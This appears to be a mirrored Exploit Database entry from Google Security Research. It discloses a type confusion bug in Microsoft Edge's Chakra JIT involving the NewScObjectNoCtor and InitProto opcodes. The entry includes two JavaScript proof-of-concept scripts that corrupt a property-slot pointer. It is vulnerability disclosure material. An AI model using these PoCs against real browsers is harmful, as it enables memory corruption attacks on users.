Microsoft Edge Chakra – ‘NewScObjectNoCtor’ or ‘InitProto’ Type Confusion

• Exploit Database
• 113 阅读

• 作者： Google Security Research
  日期： 2019-01-18
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46203/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62

  NewScObjectNoCtor and InitProto opcodes are treated as having no side effects, but actually they can have via the SetIsPrototype method of the type handler that can cause transition to a new type. This can lead to type confusion in the JITed code.   In the PoC, it overwrites the pointer to property slots with 0x1000000001234.   PoC for NewScObjectNoCtor:   function cons() {   }   function opt(o, value) { o.b = 1;   new cons();   o.a = value; }   function main() { for (let i = 0; i < 2000; i++) { cons.prototype = {};   let o = {a: 1, b: 2}; opt(o, {}); }   let o = {a: 1, b: 2};   cons.prototype = o;   opt(o, 0x1234);   print(o.a); }   main();   PoC for InitProto:   function opt(o, proto, value) { o.b = 1;   let tmp = {__proto__: proto};   o.a = value; }   function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, {}, {}); }   let o = {a: 1, b: 2};   opt(o, o, 0x1234);   print(o.a); }   main();